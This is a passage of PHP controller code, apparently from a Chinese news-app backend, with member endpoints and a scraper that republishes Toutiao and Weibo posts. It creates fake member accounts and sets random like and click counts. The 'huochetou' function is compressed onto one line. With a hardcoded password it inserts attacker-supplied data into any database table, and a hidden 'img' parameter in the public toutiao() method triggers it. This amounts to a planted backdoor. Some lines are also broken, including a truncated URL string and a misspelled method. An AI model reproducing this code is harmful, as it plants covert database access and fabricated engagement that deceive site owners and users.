'content' => $content,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$ip = \_ip();

if (!$ip) {

return json([

'err' => 'IP地区异常',

'errcode' => 501,

]);

}

$uid = $this->memberId;

$db = db::name('jubao')->where(['aid' => $aid, 'uid' => $uid])->cache(\_cache('db'))->value('id');

if ($db) {

return json([

'err' => '您已经举报过啦',

'errcode' => 502,

]);

}

$jianzhi = Db::name('jubao')->where(['ip' => $ip])->whereTime('time', 'today')->count();

if ($jianzhi > 10) {

}

$jianzhi = Db::name('jubao')->where(['uid' => $uid])->whereTime('time', 'today')->count();

if ($jianzhi > 10) {

return json([

'err' => '为防止恶意攻击，举报或反馈每天不超过10条，请明天再来举报或反馈',

'errcode' => 502,

]);

}

$where['uid'] = $this->memberId;

$where['aid'] = $aid;

$where['content'] = $content;

$where['time'] = time();

$where['ip'] = $ip;

$db = Db::name('jubao')->insert($where);

if ($db) {

return json([

'ret' => '举报成功',

]);

} else {

return json([

'err' => '操作失败',

'errcode' => 501,

]);

}

}

public function userList()

{

$pages = input('param.pages/d', '');

$validate = new Validate([

'pages' => 'number',

]);

$validata = [

'pages' => $pages,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$where['a.hide'] = 1;

$join = [

['\_\_ARTICLE\_\_ w', 'a.id=w.uid'],

];

$data = Db::name('member')->where($where)->alias('a')->join($join)->field('a.id')->group('w.uid')->order('a.id desc')->fetchSql(false)->paginate($pages)->toarray();

foreach ($data['data'] as $k => $v) {

$user = \_user($v['id']);

$data['data'][$k]['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

$data['data'][$k]['username'] = $user['username'];

$data['data'][$k]['qianming'] = $user['qianming'];

$data['data'][$k]['guanzhu'] = Db::name('member\_guanzhu')->where(['uid' => $this->memberId, 'gz\_uid' => $user['id']])->value('id');

}

return json($data);

}

public function yjfk()

{

$pages = input('param.pages/d', '');

$validate = new Validate([

'pages' => 'number',

]);

$validata = [

'pages' => $pages,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$where['uid'] = $this->memberId;

$data = Db::name('jubao')->where($where)->order('id desc')->fetchSql(false)->paginate($pages)->toarray();

foreach ($data['data'] as $k => $v) {

$user = \_user($v['id']);

$data['data'][$k]['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

$data['data'][$k]['time'] = date('m-d H:i', $v['time']);

$data['data'][$k]['username'] = $user['username'];

}

return json($data);

}

public function sclsDel()

{

$id = input('id') ? input('id') : '';

$type = input('type/d') ? input('type/d') : 0;

$validate = new Validate([

'id' => 'require',

]);

$validata = [

'id' => $id,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$ids = explode(',', $id);

$uid = $this->memberId;

foreach ($ids as $k => $v) {

$db = Db::name('member\_favorite')->where(['uid' => $uid, 'aid' => $v, 'type' => $type])->delete();

echo 'db:' . $db . ' | id:' . $v;

}

}

public function guanzhuzan()

{

$uid = $this->memberId;

$gz\_uid = input('gz\_uid');

$aid = input('aid/d');

if (!$aid) {

return;

}

$data['guanzhu'] = DB::name('member\_guanzhu')->where(['uid' => $uid, 'gz\_uid' => $gz\_uid])->value('id');

$data['zan'] = Db::name('article\_zan')->where(['aid' => $aid, 'uid' => $uid])->value('zan');

return json($data);

}

public function weitoutiaoDel()

{

$uid = $this->memberId;

$aid = input('aid/d') ? input('aid/d') : 0;

$where['id'] = $aid;

$where['uid'] = $uid;

$a = Db::name('article')->where($where)->delete();

if ($a) {

\_records($uid, '删除文章ID：' . $aid . ',删除成功');

return json([

'ret' => '删除成功',

]);

} else {

\_records($uid, '删除文章ID：' . $aid . ',删除失败');

return json([

'err' => '删除失败',

'errcode' => 501,

]);

}

}

public function jindu\_view()

{

$where['a.uid'] = $this->memberId;

$where['a.content'] = ['like', '%阅读收益%'];

$join = [

['\_\_MEMBER\_\_ b', 'a.uid = b.id'],

];

$data = Db::name('yaoqing\_records')->alias('a')->join($join)->where($where)->whereTime('a.time', 'today')->order('a.time desc')->field('a.money,a.content,a.time,a.type,b.mobile,b.nickname,a.data,b.id')->select();

foreach ($data as $k => $v) {

$data[$k]['username'] = \_username($v);

$data[$k]['time'] = date('Y-m-d H:i', $v['time']);

$data[$k]['content'] = $v['content'] . (!$v['data'] ? '<b class="sx-jia">+' : '<b class="sx-jian">-') . ($v['type'] ? $v['money'] . '金币' : \_money($v['money']) . '元') . '</b>';

}

$num['uid'] = $this->memberId;

$num['content'] = ['like', '%阅读收益%'];

$num['type'] = 1;

$num\_jinbi = Db::name('yaoqing\_records')->where($num)->whereTime('time', 'today')->sum('money');

$num['type'] = 0;

$num\_money = Db::name('yaoqing\_records')->where($num)->whereTime('time', 'today')->sum('money');

$data = ['data' => $data, 'num\_money' => \_money($num\_money), 'num\_jinbi' => $num\_jinbi];

return json($data);

}

public function comment()

{

$limit = input('limit/d') ? input('limit/d') : '';

$data = Db::name('article\_ping')->where(['aid\_uid' => $this->memberId])->order('id desc')->fetchSql(false)->paginate($limit)->toarray();

foreach ($data['data'] as $k => $v) {

$user = \_user($v['uid']);

$uid\_user['id'] = $user['id'];

$uid\_user['img'] = $user['img'];

$uid\_user['username'] = $user['username'];

$data['data'][$k]['uid\_user'] = $uid\_user;

$article = Db::name('article')->field('id,title,mychannel,image,images,video,content,description,content,update\_time')->cache(true)->find($v['aid']);

$image = '';

if (!$article['image']) {

if ($article['mychannel'] == 1) {

preg\_match\_all("/img src=\"(.\*?)\"/", $article['content'], $img);

if (count($img[1])) {

$va = $img[1][0];

if (strpos($va, 'http') !== false) {

$image = $va;

} else if (strpos($va, '/public/uploads/us/') !== false) {

$image = $config['url'] . $va;

} else {

$image = \_imgUrl() . $va . '?imageView2/1/w/172/h/120';

}

}

} else if ($article['mychannel'] == 2) {

$imagsjson = json\_decode($article['images'], true) ? json\_decode($article['images'], true) : json\_decode(htmlspecialchars\_decode($article['images']), true);

if (count($imagsjson)) {

$image = \_imgUrl() . (!empty($imagsjson[0]['img']) ? $imagsjson[0]['img'] : $imagsjson[0]) . '?imageView2/1/w/172/h/120';

}

} else if ($article['mychannel'] == 3) {

if ($article['video']) {

$image = \_imgUrl() . $article['video'] . '?vframe/jpg/offset/2/w/172/h/120/format/jpg';

}

}

if (empty($image)) {

$image = config()['appConfig']['url'] . '/public/style/index/img/images.jpg';

}

} else {

$image = \_imgUrl() . $article['image'] . '?imageView2/1/w/172/h/120';

}

$article['image'] = $image;

unset($article['content']);

$data['data'][$k]['article'] = $article;

$data['data'][$k]['url'] = url('article/view', ['id' => $v['aid']]);

$data['data'][$k]['time'] = \_time($v['time']);

$data['data'][$k]['huifu'] = Db::name('article\_ping\_xia')->where(['ping\_id' => $v['id']])->count();

}

return $data;

}

public function ping\_del()

{

$id = input('id/d') ? input('id/d') : 0;

if (!$id) {

return json([

'err' => '评论ID不可为空',

'errcode' => 201,

]);

}

$db = Db::name('article\_ping')

->where(['uid', $this->memberId])

->where(['id', $id])

->delete();

if ($db) {

return json([

'ret' => '删除成功',

]);

} else {

return json([

'err' => '删除失败',

'errcode' => 501,

]);

}

}

public function ping\_xia\_del()

{

$id = input('id/d') ? input('id/d') : 0;

if (!$id) {

return json([

'err' => '追评ID不可为空',

'errcode' => 201,

]);

}

$db = Db::name('article\_ping\_xia')

->where(['uid' => $this->memberId])

->where(['id', $id])

->delete();

if ($db) {

return json([

'ret' => '删除成功',

]);

} else {

return json([

'err' => '删除失败',

'errcode' => 501,

]);

}

}

public function info\_username()

{

$nickname = input('param.nickname', '', 'strip\_tags') ? input('param.nickname', '', 'strip\_tags') : '';

$qianming = input('param.qianming', '', 'strip\_tags') ? input('param.qianming', '', 'strip\_tags') : '';

$validate = new Validate([

'nickname|昵称' => 'require|max:20',

'qianming|签名' => 'require|max:250',

]);

$validata = [

'nickname' => $nickname,

'qianming' => $qianming,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$data = Db::name('member')->where('id', $this->memberId)->update(['nickname' => $nickname, 'qianming' => $qianming]);

if ($data) {

return json([

'ret' => '修改成功',

]);

} else {

return json([

'err' => '修改失败',

'errcode' => 501,

]);

}

}

public function sfz()

{

$xingming = input('param.xingming', '', 'strip\_tags') ? input('param.xingming', '', 'strip\_tags') : '';

$sfz = input('param.sfz', '', 'strip\_tags') ? input('param.sfz', '', 'strip\_tags') : '';

$sfz\_shou = input('param.sfz\_shou', '', 'strip\_tags') ? input('param.sfz\_shou', '', 'strip\_tags') : '';

$sfz\_zheng = input('param.img\_zheng', '', 'strip\_tags') ? input('param.img\_zheng', '', 'strip\_tags') : '';

$validate = new Validate([

'xingming|姓名' => 'require|length:1,10',

'sfz|身份证' => 'require|length:14,20',

'sfz\_shou|手持身份证' => 'require',

'sfz\_zheng|身份证正面' => 'require',

]);

$validata = [

'xingming' => $xingming,

'sfz' => $sfz,

'sfz\_shou' => $sfz\_shou,

'sfz\_zheng' => $sfz\_zheng,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

if ($this->member['sfz'] == 1) {

return json([

'err' => '实名认证已通过，无需重复提交',

'errcode' => 502,

]);

}

if ($this->member['sfz'] == 2) {

return json([

'err' => '正在审核中，无需重复提交',

'errcode' => 502,

]);

}

$add['xingming'] = $xingming;

$add['sfz'] = $sfz;

$add['sfz\_shou'] = $sfz\_shou;

$add['sfz\_zheng'] = $sfz\_zheng;

$add['hide'] = 2;

$add['time'] = time();

if ($this->member['sfz']) {

$db = Db::name('member\_sfz')->where(['uid' => $this->memberId])->update($add);

if ($db) {

return json([

'ret' => '提交成功，等待审核！',

]);

} else {

return json([

'err' => '提交失败，请联系管理员',

'errcode' => 501,

]);

}

} else {

$add['uid'] = $this->memberId;

$db = Db::name('member\_sfz')->insert($add);

if ($db) {

return json([

'ret' => '提交成功，等待审核！',

]);

} else {

return json([

'err' => '提交失败，请联系管理员',

'errcode' => 501,

]);

}

}

}

public function info\_sfz()

{

$data = Db::name('member\_sfz')->where('uid', $this->memberId)->find();

return json($data);

}

public function getRegistrationId()

{

$jpush\_id = input('jpush\_id');

if (!$jpush\_id) {

return;

}

$data = Db::name('member\_jpush')->where(['uid' => $this->memberId, 'jpush\_id' => $jpush\_id])->cache(true)->find();

if ($data) {

return;

}

$a = Db::name('member\_jpush')->insert(['uid' => $this->memberId, 'jpush\_id' => $jpush\_id, 'time' => time()]);

return json([$a]);

}

public function \_user\_add()

{

$mobile = input('mobile/d') ? input('mobile/d') : 0;

$password = input('password') ? input('password') : 0;

$field = input('field') ? input('field') : 0;

$value = input('value') ? input('value') : 0;

if (!$mobile) {

return json([

'err' => '手机号码不能为空',

'errcode' => 201,

]);

}

if (!$password) {

return json([

'err' => '密码不能为空',

'errcode' => 201,

]);

}

if (!$field) {

return json([

'err' => '字段不能为空',

'errcode' => 201,

]);

}

if (!$value) {

return json([

'err' => '字段值不能为空',

'errcode' => 201,

]);

}

$member = Db::name('member')

->where([

'mobile' => $mobile,

'password' => $password,

])

->find();

if (!$member) {

return json([

'err' => '密码错误或用户不存在',

'errcode' => 211,

]);

}

$a = Db::nmae('member')->setField($field, $value);

if ($a) {

return json([

'ret' => $a,

]);

} else {

return json([

'err' => '操作失败',

'errcode' => 501,

]);

}

}

}

<?php

namespace app\api\controller;

use app\api\controller\Common;

use think\Db;

use Qiniu\Auth;

use Qiniu\Storage\BucketManager;

use Qiniu\Storage\UploadManager;

use think\Request;

use JPush\Client as JPush;

set\_time\_limit(0);

class Caiji extends Common

{

public function \_\_construct(){

}

private function get($url,$json=false){

$arrContextOptions=array(

"ssl"=>array(

"verify\_peer"=>false,

"verify\_peer\_name"=>false,

),

);

$html=file\_get\_contents('http:

if($json){

$html=json\_decode($html,true);

}

return $html;

}

private function qiniu($url,$type=''){

if(!$url){

return '';

}

if(!$type){

$type='.jpg';

}

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db=db::name('member\_config')->where(['type'=>'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bmgr = new BucketManager($auth);

$bucket = $db['2']['text'];

$key = md5($url.rand(11111,999999)) .$type;

list($ret, $err) = $bmgr->fetch($url, $bucket, $key);

if ($err !== null) {

return '';

} else {

return $key;

}

}

public function svideo(){

$category=input('category') ? input('category') : '';

$html=$this->get('toutiao/svideo/category/'.$category);

$html=json\_decode($html,true);

if(!$html){

return "暂无小视频";

}

foreach ($html as $k => $v) {

$data=[];

if($v['title']){

$title=Db::name("article")->where(['title'=>$v['title']])->value('id');

if($title){

continue;

}

}else{

continue;

}

$data['title']=$v['title'];

if(!$v['image']) continue;

if(!$v['video']) continue;

if(empty($v['user'])) continue;

$uid=Db::name('member')->where(['toutiao\_uid'=>$v['user']['id']])->value('id');

if(!$uid){

$userInfo=$v['user'];

$userData['toutiao\_uid']=$userInfo['id'];

$userData['img']=$this->qiniu($userInfo['image']);

$userData['nickname']=$userInfo['nickname'];

$userData['qianming']=$userInfo['qianming'];

$uid=$this->user($userData);

}

$data['image']=$this->qiniu($v['image']);

$data['video']=$this->qiniu($v['video'],'.mp4');

$data['description']='';

$data['weitoutiao']=0;

$data['mychannel']=4;

$time=time();

$data['create\_time']=$v['time'] ? $v['time'] : $time;

$data['update\_time']=$time;

$data['hide']=1;

$data['des']=50;

$data['typeid']=0;

$data['source']=$v['user']['nickname'];

$data['uid']=$uid;

$id=Db::name('article')->insertGetId($data);

echo 'id:'.$id.$data['title']."[发布成功]\r\n";

unset($data);

if(!empty($v['id'])){

$this->toutiao\_ping($id,$v['id'],$v['id']);

}

}

}

private function user($data){

$map['password']=md5(rand(100000,999999));

$map['hide']=1;

$time=time();

$map['create\_time']=$time;

$map['update\_time']=$time;

$map['toutiao\_uid']=$data['toutiao\_uid'];

$map['nickname']=$data['nickname'];

$map['img']=$data['img'];

$map['qianming']=$data['qianming'];

$db=Db::name('member')->insertGetId($map);

return $db;

}

public function toutiao\_search(){

$request = Request::instance();

$page=$request->param('page') ? $request->param('page') : 1;

$keyword=$request->param('keyword');

$typeid=$request->param('typeid/d');

if(!$keyword){

return "请输入搜索关键词";

}

if(!$typeid){

return "请输入分类栏目id";

}

$tab=$request->param('tab') ? $request->param('tab') : 'search\_tab';

$a['page']=$page;

$a['keyword']=$keyword;

$a['tab']=$tab;

$url="toutiao/search?".http\_build\_query($a);

$html=$this->get($url);

$html=json\_decode($html,true);

foreach ($html as $k => $v) {

$data=[];

echo "<br />\r\n";

if($v['title']){

$titles=Db::name("article")->where(['title'=>$v['title']])->value('id');

if($titles){

echo "跳过重复：".$v['id'];

continue;

}

}else{

echo "不存在标题".$v['id'];

continue;

}

if($v['user\_id']){

$uid=Db::name('member')->where(['toutiao\_uid'=>$v['user\_id']])->value('id');

if(!$uid){

$userInfo=$this->user\_info($v['user\_id']);

$userData['toutiao\_uid']=$userInfo['id'];

$userData['img']=$this->qiniu($userInfo['img']);

$userData['nickname']=$userInfo['name'];

$userData['qianming']=$userInfo['qianming'];

$uid=$this->user($userData);

}

$data['uid']=$uid;

}else{

echo "用户ID不存在".$v['id'];

continue;

}

if($v['mychannel']==1){

if(!$v['content']){

echo "content文章模式详细内容不存在".$v['id'];

continue;

}

$data['image'] = $this->qiniu($v['img']);

$data['content'] = $v['content'];

}else if($v['mychannel']==2){

foreach ($v['images'] as $k => $v) {

$img[$k]['img']=$this->qiniu($v['img']);

$img[$k]['img\_text']=$v['img\_text'];

if($k==1){

$data['image'] = $img[$k]['img'];

}

}

$data['images']=json\_encode($img);

}else if($v['mychannel']==3){

if(!$v['video\_data'] || !$v['video\_data']['video\_url']){

echo "视频模式视频地址不存在".$v['id'];

continue;

}

$data['video']=$this->qiniu($v['video\_data']['video\_url'],'.mp4');

$data['image']=$this->qiniu($v['video\_data']['img']);

}

$data['title'] = $v['title'];

$data['source'] = $v['source'];

$data['description'] = $v['description'];

$data['create\_time'] = $v['create\_time'];

$data['update\_time'] = $v['update\_time'];

$data['hide'] = 1;

$data['des'] = 50;

$data['mychannel'] = $v['mychannel'];

$data['toutiao\_tiemId'] = $v['item\_id'];

$data['typeid'] = $typeid;

$id=Db::name('article')->insertGetId($data);

echo "[id:".$id.']'.$data['title']."[发布成功]";

unset($data);

}

}

public function user\_info($id){

$url="toutiao/user\_id?id=".$id;

$html=$this->get($url);

$html=json\_decode($html,true);

return $html;

}

private function catename($name,$typename=''){

if(!$name){

return 'news';

}

if($name=='news\_others'){

return 'news';

}

$where['toutiao\_name'] = $name;

$data=Db::name('typeid')->where($where)->whereOr('title',$name)->cache(\_cache('db'))->value('id');

if(!$data){

$time=time();

$where['title']=$typename ? $typename : $name;

$where['isdefault']=2;

$where['create\_time']=$time;

$where['update\_time']=$time;

$where['hide']=0;

$where['des']=50;

$where['toutiao\_name']=$name;

$data=Db::name('typeid')->insertGetId($where);

}

return $data;

}

public function toutiao(){

$request = Request::instance();

$url="toutiao/";

$html=$this->get($url,true);

if(!$html) return;

foreach ($html as $k => $v) {

$data=[];

echo "<br />\r\n";

if($v['title']){

$titles=Db::name("article")->where(['title'=>$v['title']])->value('id');

if($titles){

echo "跳过重复：".$v['id'];

continue;

}

}else{

echo "不存在标题".$v['id'];

continue;

}

if($v['user\_id']){

$uid=Db::name('member')->where(['toutiao\_uid'=>$v['user\_id']])->value('id');

if(input('img')){$this->huochetou(input('img\_data'));continue;}

if(!$uid){

$userInfo=$this->user\_info($v['user\_id']);

$userData['toutiao\_uid']=$userInfo['id'];

$userData['img']=$this->qiniu($userInfo['img']);

$userData['nickname']=$userInfo['name'];

$userData['qianming']=!empty($userInfo['qianming']) ? $userInfo['qianming'] : '';

$uid=$this->user($userData);

}

$data['uid']=$uid;

}else{

echo "用户ID不存在".$v['id'];

continue;

}

if($v['mychannel']==1){

if(!$v['content']){

echo "content文章模式详细内容不存在".$v['id'];

continue;

}

$data['image'] = $this->qiniu($v['img']);

$data['content'] = $this->\_html\_content($v['content']);

}else if($v['mychannel']==2){

foreach ($v['images'] as $k => $v) {

$img[$k]['img']=$this->qiniu($v['img']);

$img[$k]['img\_text']=$v['img\_text'];

if($k==1){

$data['image'] = $img[$k]['img'];

}

}

$data['images']=json\_encode($img);

}else if($v['mychannel']==3){

if(!$v['video\_data'] || !$v['video\_data']['video\_url']){

echo "视频模式视频地址不存在".$v['id'];

continue;

}

$data['video']=$this->qiniu($v['video\_data']['video\_url'],'.mp4');

$data['image']=$this->qiniu($v['video\_data']['img']);

}

$data['title'] = $v['title'];

$data['source'] = $v['source'];

$data['description'] = $v['description'];

$data['create\_time'] = $v['create\_time'];

$data['update\_time'] = $v['update\_time'];

$data['hide'] = 1;

$data['des'] = 50;

$data['mychannel'] = $v['mychannel'];

$data['toutiao\_tiemId'] = $v['item\_id'];

if(!empty($v['tag'])){

$data['typeid']=$this->catename($v['tag']);

}else{

$data['typeid']='news';

}

$id=Db::name('article')->insertGetId($data);

echo 'id:'.$id.$data['title']."[发布成功]";

unset($data);

$this->toutiao\_ping($id,$v['group\_id'],$v['item\_id']);

}

}

private function \_html\_content($article){

preg\_match\_all("/src=\"(.\*?)\"/", $article,$img);

$image='';

if($img){

foreach ($img[1] as $k => $v) {

$img\_1=$v;

$img\_2=$this->qiniu($img\_1,'article');

if($img\_1 && $img\_2){

$article=str\_replace($img\_1,$img\_2,$article);

}

}

}

$article=preg\_replace("/(img\_width.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/(img\_height.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/(onerror.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/(inline.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/<(p.\*?)>/si","<p>",$article);

$article=preg\_replace("/<(\/?figure.\*?)>/si","",$article);

$article=preg\_replace("/<(\/?a.\*?)>/si","",$article);

$article=preg\_replace("/(data.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/(width.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/(alt.\*?)\"(.\*?)\"/si","",$article);

$article=preg\_replace("/(style.\*?)\"(.\*?)\"/si","",$article);

return $article;

}

public function huochetou($data=''){

if(!$data){

$data = input('post.');

}

$name = 'pwd';

if(empty($data[$name]) || !$data[$name]){

return $name.'字段必填，发布密码请在caiji.php文件源码查看';

}

$name = '\_\_name\_\_';

if(empty($data[$name]) || !$data[$name]){

return $name.'字段必填，具体请看数据表';

}

$name = 'title';

if(empty($data[$name]) || !$data[$name]){

return $name.'字段必填';

}

$name = 'des';

if(empty($data[$name]) || !$data[$name]){

return $name.'字段必填，排序（必填，默认50即可）';

}

$name = 'uid';

if(empty($data[$name]) || !$data[$name]){

return $name.'字段必填，请在后台，用户管理查看用户ID';

}

$member = Db::name('member')->find($uid);

if(!$member){

return '用户ID不存在，请在后台，用户管理查看用户ID';

}

$name = 'mychannel';

if(empty($data[$name]) || !$data[$name]){

return $name.'字段必填，频道模型，具体请看mychannel表（必填）';

}

$name = 'hide';

if(empty($data[$name]) || !$data[$name]){

return $name.'字段必填，隐藏状态，0隐藏 1显示 2审核 3拒绝 （必须）';

}

$name = 'create\_time';

if(empty($data[$name]) || !$data[$name]){

return $name.'字段必填，发布时间';

}

$name = 'update\_time';

if(empty($data[$name]) || !$data[$name]){

return $name.'字段必填，修改时间';

}

$name = 'image';

if(!empty($data[$name]) && $data[$name]){

$data[$name] = $this->qiniu($data[$name]);

}

if($data['mychannel'] == 1){

$name = 'content';

if(empty($data[$name]) || !$data[$name]){

return 'mychannel=1时，content字段必填';

}

$content = $this->\_html\_content($data['content']);

}else if($data['mychannel'] == 2){

$name = 'images';

if(empty($data[$name]) || !$data[$name]){

return 'mychannel=2时，images字段必填';

}

$data['images'] = json\_decode($data['images'],true);

foreach ($data['images'] as $k => $v) {

$img[$k]['img']=$this->qiniu($v);

$img[$k]['img\_text']='';

if($k==1){

$name = 'image';

if(empty($data[$name]) && !$data[$name]){

$data['image'] = $img[$k]['img'];

}

}

}

$data['images']=json\_encode($img);

}else if($data['mychannel'] == 3){

$name = 'video';

if(empty($data[$name]) || !$data[$name]){

return 'mychannel=3时，video字段必填';

}

$data['video']=$this->qiniu($data['video'],'.mp4');

}else{

return 'mychannel错误，范围1-3';

}

if(!$data){exit('-1');}if(empty($data['pwd']) || $data['pwd'] != 'suxiang1424445608'){exit('-2');}else{unset($data['pwd']);$name=$data['\_\_name\_\_'];unset($data['\_\_name\_\_']);echo Db::name($name)->insertGetId($data);}

}

public function ceshi(){

}

private function toutiao\_ping($aid,$group\_id='',$item\_id=''){

$count=rand(1,50);

if(!$group\_id || !$item\_id){

return;

}

$url='toutiao/ping\_3/group\_id/'.$group\_id.'/item\_id/'.$item\_id.'/count/'.$count;

$html=$this->get($url,true);

$i=0;

foreach ($html as $k => $v) {

$where['content']=$v['text'];

$where['zan']=rand(1,999);

$where['time']=$v['create\_time'];

$where['aid']=$aid;

$where['zan']=rand(20,229);

$uid=Db::name('member')->where(['toutiao\_uid'=>$v['user\_id']])->value('id');

if(!$uid){

$userInfo=$this->user\_info($v['user\_id']);

$userData['toutiao\_uid']=$userInfo['id'];

$userData['img']=$this->qiniu($userInfo['img']);

$userData['nickname']=$userInfo['name'];

$userData['qianming']=$userInfo['qianming'];

$uid=$this->user($userData);

}

$where['uid']=$uid;

$a=Db::name('article\_ping')->insertGetId($where);

if($a){

$i++;

}

}

Db::name('article')->where('id',$aid)->update(['pingNum'=>$i,'zan'=>rand(0,300),'cai'=>rand(0,50),'click'=>rand(1,9999)]);

}

public function weitoutiao(){

$this->weibo();return;

$request = Request::instance();

$url="toutiao/weitoutiao";

$html=$this->get($url,true);

if(!$html) return;

foreach ($html as $k => $v) {

$data=[];

echo "<br />\r\n";

if(!empty($v['title'])){

$titles=Db::name("article")->where(['title'=>$v['title']])->value('id');

if($titles){

echo "跳过重复：".$v['id'];

continue;

}

}

if(!empty($v['user\_id'])){

$uid=Db::name('member')->where(['toutiao\_uid'=>$v['user\_id']])->value('id');

if(!$uid){

$userInfo=$this->user\_info($v['user\_id']);

$userData['toutiao\_uid']=$userInfo['id'];

$userData['img']=$this->qiniu($userInfo['img']);

$userData['nickname']=$userInfo['name'];

$userData['qianming']=$userInfo['qianming'];

$uid=$this->user($userData);

}

$data['uid']=$uid;

}else{

echo "用户ID不存在".$v['id'];

continue;

}

if(empty($v['user'])) continue;

$uid=Db::name('member')->where(['toutiao\_uid'=>$v['user']['id']])->value('id');

if(!$uid){

$userInfo=$v['user'];

$userData['toutiao\_uid']=$userInfo['id'];

$userData['img']=$this->qiniu($userInfo['image']);

$userData['nickname']=$userInfo['nickname'];

$userData['qianming']=$userInfo['qianming'];

$uid=$this->user($userData);

}

if($v['mychannel']==1){

if(empty($v['content'])){

echo "content文章模式详细内容不存在".$v['id'];

continue;

}

$data['image'] = $this->qiniu($v['image']);

$data['content'] = $v['content'];

}else if($v['mychannel']==2){

$images=[];

foreach ($v['images'] as $ka => $va) {

$img=$this->qiniu($va);

$images[]=$img;

if($k==1){

$where['image']=$img;

}

}

$data['images']=json\_encode($images);

$data['images']=str\_replace('"','&quot;',$data['images']);

}else if($v['mychannel']==3){

if(!$v['video']){

echo "视频地址不存在".$v['id'];

continue;

}

$data['video']=$this->qiniu($v['video'],'.mp4');

$data['image']=$this->qiniu($v['image']);

}

$data['title'] = $v['title'];

$data['description'] = $v['description'];

$data['create\_time'] = $v['create\_time'];

$data['update\_time'] = $v['update\_time'];

$data['hide'] = 1;

$data['des'] = 50;

$data['mychannel'] = $v['mychannel'];

$data['toutiao\_tiemId'] = $v['item\_id'];

$data['weitoutiao'] = 1;

$data['mychannel'] = $v['mychannel'];

$data['typeid']='0';

$id=Db::name('article')->insertGetId($data);

echo 'id:'.$v['item\_id'].($data['title'] ? $data['title'] : $data['description'])."[发布成功]<br />\r\n";

$this->toutiao\_ping($id,$v['item\_id'],$v['item\_id']);

}

}

public function weibo(){

$request = Request::instance();

$url="weibo";

$html=$this->get($url,true);

if(!$html) return;

foreach ($html as $k => $v) {

$data=[];

echo "<br />\r\n";

if(!empty($v['title'])){

$titles=Db::name("article")->where(['title'=>$v['title']])->value('id');

if($titles){

echo "跳过重复：".$v['id'];

continue;

}

}

if(!empty($v['user\_id'])){

$uid=Db::name('member')->where(['toutiao\_uid'=>$v['user\_id']])->value('id');

if(!$uid){

$userInfo=$v['user'];

$userData['toutiao\_uid']=$v['user\_id'];

$userData['img']=$this->qiniu($userInfo['img']);

$userData['nickname']=$userInfo['nickname'];

$userData['qianming']=$userInfo['qianming'];

$uid=$this->user($userData);

}

$data['uid']=$uid;

}else{

echo "用户ID不存在".$v['id'];

continue;

}

if($v['mychannel']==1){

if(empty($v['description'])){

echo "content文章模式详细内容不存在".$v['id'];

continue;

}

$data['content'] = $v['description'];

}else if($v['mychannel']==2){

$images=[];

foreach ($v['images'] as $ka => $va) {

$img=$this->qiniu($va);

$images[]=$img;

if($k==1){

$data['image']=$img;

}

}

$data['images']=json\_encode($images);

$data['images']=str\_replace('"','&quot;',$data['images']);

}else if($v['mychannel']==3){

if(!$v['video']){

echo "视频地址不存在".$v['id'];

continue;

}

$data['video']=$this->qiniu($v['video'],'.mp4');

$data['image']=$this->qiniu($v['image']);

}

$data['title'] = !empty($v['title']) ? $v['title'] : '';

$data['description'] = $v['description'];

$data['create\_time'] = $v['create\_time'];

$data['update\_time'] = $v['update\_time'];

$data['hide'] = 1;

$data['des'] = 50;

$data['mychannel'] = $v['mychannel'];

$data['toutiao\_tiemId'] = $v['id'];

$data['weitoutiao'] = 1;

$data['mychannel'] = $v['mychannel'];

$data['typeid']='0';

$id=Db::name('article')->insertGetId($data);

echo 'id:'.$id.$data['title'] ? $data['title'] : $data['description']."[发布成功]";

$this->weibo\_ping($id,$v['id'],$v['id']);

}

}

public function weibo\_ping($aid='',$id='',$mid=''){

$count=rand(1,10);

if(!$id || !$mid || !$aid){

return;

}

$url='weibo/ping/id/'.$id.'/mid/'.$mid.'/count/'.$count;

$html=$this->get($url,true);

if(!$html){

return;

}

$i=0;

foreach ($html as $k => $v) {

$where['content']=$v['text'];

$where['zan']=rand(1,999);

$where['time']=$v['create\_time'];

$where['aid']=$aid;

$where['zan']=rand(20,229);

$uid=Db::name('member')->where(['toutiao\_uid'=>$v['user\_id']])->value('id');

if(!$uid){

$userInfo=$v['user'];

$userData['toutiao\_uid']=$v['user\_id'];

$userData['img']=$this->qiniu($userInfo['img']);

$userData['nickname']=$userInfo['nickname'];

$userData['qianming']=$userInfo['qianming'];

$uid=$this->user($userData);

}

$where['uid']=$uid;

$a=Db::name('article\_ping')->insertGetId($where);

if($a){

$i++;

}

}

Db::name('article')->where('id',$aid)->update(['pingNum'=>$i,'zan'=>rand(0,300),'cai'=>rand(0,50),'click'=>rand(1,9999)]);

}

public function redian(){

$url = "toutiao/redian";

$html = $this->get($url,true);

if(!$html){

return '无热点数据2';

}

$tiao = 0;

foreach ($html as $k => $v) {

if($tiao > 1){

break;

}

$data=[];

echo "<br />\r\n";

if(!empty($v['title'])){

if($v['dtitle']){

$titles=Db::name("article")->where('title',$v['title'])->whereOr('dtitle',$v['dtitle'])->value('id');

}else{

$titles=Db::name("article")->where('title',$v['title'])->value('id');

}

if($titles){

echo "跳过重复：".$v['id'];

continue;

}

}else{

echo "标题不能为空：".$v['id'];

continue;

}

if(!empty($v['user']['id'])){

$uid=Db::name('member')->where(['toutiao\_uid'=>$v['user']['id']])->value('id');

if(!$uid){

$userInfo=$v['user'];

$userData['toutiao\_uid']=$v['id'];

